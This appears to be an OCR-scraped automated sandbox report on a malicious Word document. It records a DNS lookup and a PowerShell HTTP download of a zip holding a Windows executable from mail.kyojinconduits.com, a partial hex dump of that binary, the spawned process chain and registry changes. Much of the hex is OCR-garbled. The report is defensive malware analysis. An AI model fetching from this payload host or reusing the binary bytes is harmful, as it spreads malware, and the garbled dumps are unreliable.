7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30 30
32603034 33302d

WordDocument
data

24217
3.62986490868

True

ec a5 ¢1 00 5f cO 09 04 00 00 8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 d9 59 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 2e 5e 00 00 62 7f 00 00 62 7f 00 00 d9 51 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of
00 00 00 00 00
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Total Packets: 30

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 14, 2021 02:32:51.109204054 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.302309036 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.302453041 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.305320978 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.505866051 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.505934000 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.505969048 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506007910 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506045103 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506083965 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506130934 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506175041 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506211996 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506248951 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.506329060 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.506378889 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.506386042 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.699462891 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699521065 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699561119 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699598074 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699635029 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699655056 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.699685097 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699687004 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.699728966 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699744940 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.699767113 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699805021 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699817896 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.699842930 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699877977 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.699899912 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.893017054 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893076897 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893115044 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893152952 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893191099 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893227100 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893265009 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893302917 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893351078 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893426895 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893435955 CET 49167 80 192.168.2.22 198.54.126.36
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 14, 2021 02:32:51.893469095 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.893472910 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893474102 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.893512011 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893549919 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:51.893551111 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893589973 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:51.893621922 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.087754011 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.087815046 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.087853909 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.087901115 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.087943077 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.087980032 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088017941 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088054895 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088093042 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088130951 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088167906 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088167906 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.088202953 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.088208914 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.088215113 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088237047 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.088258028 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088295937 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088334084 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088335991 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.088371992 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088402987 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.088408947 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088448048 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088475943 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.088485956 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088532925 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.088548899 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.091725111 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.282442093 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282501936 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282538891 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282571077 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282601118 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282630920 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282660961 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282691002 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282708883 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.282723904 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282742023 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.282756090 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282793045 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282820940 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.282826900 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282855988 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282885075 CET 49167 80 192.168.2.22 198.54.126.36
Jan 14, 2021 02:32:52.282885075 CET 80 49167 198.54.126.36 192.168.2.22
Jan 14, 2021 02:32:52.282916069 CET 80 49167 198.54.126.36 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 14, 2021 02:32:51.005683899 CET 52197 53 192.168.2.22 8.8.8.8

Jan 14, 2021 02:32:51.090389013 CET 53 52197 8.8.8.8 192.168.2.22
DNS Queries
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 14, 2021 02:32:51.005683899 CET 192.168.2.22 8.8.8.8 0x7e45 Standard query  mail.kyoji A (IP address) IN (0x0001)
(0) nconduits.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 14, 2021 8.8.8.8 192.168.2.22 0x7e45 No error (0) mail.kyoji 198.54.126.36 A (IP address) IN (0x0001)

02:32:51.090389013 nconduits.com

CET

HTTP Request Dependency Graph

e mail.kyojinconduits.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.22 49167 198.54.126.36 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 14, 2021 0 ouT GET /jhgun753.zip HTTP/1.1
02:32:51.305320978 CET Host: mail.kyojinconduits.com
Connection: Keep-Alive
Jan 14, 2021 1 IN HTTP/1.1 200 OK
02:32:51.505866051 CET Date: Thu, 14 Jan 2021 01:32:51 GMT

Server: Apache

Last-Modified: Sun, 03 Jan 2021 06:35:59 GMT

Accept-Ranges: bytes

Content-Length: 303616

Content-Type: application/zip

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 aa e0 fe 5f 00 00 00 00 00 00 00 00 e0 00 Oe 21 Ob 01 02
32 00 72 04 00 00 2c 00 00 00 00 00 00 €0 1c 00 00 00 10 00 00 00 30 00 00 00 00 00 10 00 10 00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 05 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00
00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8¢ 63 00 00 c8 00 00 00 00 fO 04 00 e8 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 dc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 68 00 00 b0 03
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae 19 00 00 00
10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 el 00 00 00
00 30 00 00 00 02 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 32 00 00 00 00 00 00 Oa 00 00
00 00 40 00 00 00 02 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 64 61 74 61 32 00 Oa 00
00 00 00 50 00 00 00 02 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8
1c 00 00 00 60 00 00 00 1e 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 35 00 00
50 02 00 00 00 80 00 00 00 04 00 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e 74 65 78 74 34 00
00 cc 52 04 00 00 90 00 00 00 54 04 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e 72 73 72 63 00
00 00 e8 00 00 00 00 fO 04 00 00 02 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f
63 00 00 dc 05 00 00 00 00 05 00 00 06 00 00 00 9c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00O
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 55 8b ec c¢7 05 a8 7c 00 10 39 92 00 10 al a8 7c 00 10 2d 35 02 00 00 a3 a8 7c 00 10
al a8 7c 00 10 5d c3 cc cc cc cc cc ¢ ¢ cc cc cc cc cc cc 55 8b ec 51 56 8b 45 Oc 89 45 fc 8b 0d ac 7c 00 10 89 4d 08
68 5¢ 11 00 00 6a 00 ff 15 74 60 00 10 8b 55 fc 8d b4 02 66 a1l 06 00 68 5c 11 00 00 6a 00 ff 15 74 60 00 10 03 fO 8b 45
08 03 30 8b 4d 08 89 31 8b 55 08

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_!2r,0ch.text ".rdata0@@.2@ @@.rdata2P"
@@.data’ $@.text5PB @.text4RTF @.rsrc@ @.reloc@BU|9|-5([JUQVEE|Mh\jt Uth\jt' EOM1U

Code Manipulations

Statistics

Behavior
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® WINWORD.EXE
® cmd.exe

@ msg.exe

@ powershell.exe
@ rundll32.exe

@ rundll32.exe

System Behavior

Click to jump to process

Analysis Process: WINWORD.EXE PID: 1068 Parent PID: 584

General

Start time: 02:32:34

Start date: 14/01/2021

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
Imagebase: 0x13f9d0000

File size: 1424032 bytes

MDS5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7TFEE91226B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DF0B1233C70D583B20.TMP success or wait 1 7FEE9049ACO unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
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Registry Activities

Key Created

Key Path
HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F5013

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5013

Copyright null 2021

Name

Cambria Math

Tahoma

F5013

Type

binary

binary

binary

Completion Count

success or wait
success or wait
success or wait
success or wait

success or wait

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 2C 04 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
DB 0B 24 A8 60 EA D6 01 13 50 OF
00 13 50 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

success or wait

success or wait

P R R R R R R

Completion

success or wait

success or wait

success or wait

Source
Address

7FEE905E72B
7FEE905E72B
7FEE905E72B
7TFEE9049ACO
7TFEE9049ACO
7TFEE9049ACO
7TFEE9049ACO

Symbol
RegCreateKeyExA
RegCreateKeyExA
RegCreateKeyExA
unknown

unknown

unknown

unknown

Source
Count Address Symbol

1 7FEE9049ACO unknown

1 7FEE9049ACO unknown

1 7FEE9049ACO unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5013
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Name

ProductFiles

ProductFiles

F5013

Type

dword

dword

binary

Name

Type

Old Data
1378746414

1378746415

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

New Data

1378746415

1378746416

04 00 00 00 2C 04 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

04 00 00 00 2C 04 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

00 67 00 73 00 2E 00 68 00 74 00 67 00 73 00 2E 00 68 00 74

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00
DB 0B 24 A8 60 EA D6 01 13
50 OF 00 13 50 OF 00 00 00
00 00 DB 04 00 00 02 00 00

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 13 50 OF
00 13 50 OF 00 00 00 00 00
DB 04 00 00 02 00 00 00 00

Completion

Completion

success or wait

success or wait

success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7FEE9049ACO unknown

7FEE9049ACO unknown

7FEE9049ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
AP QR 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
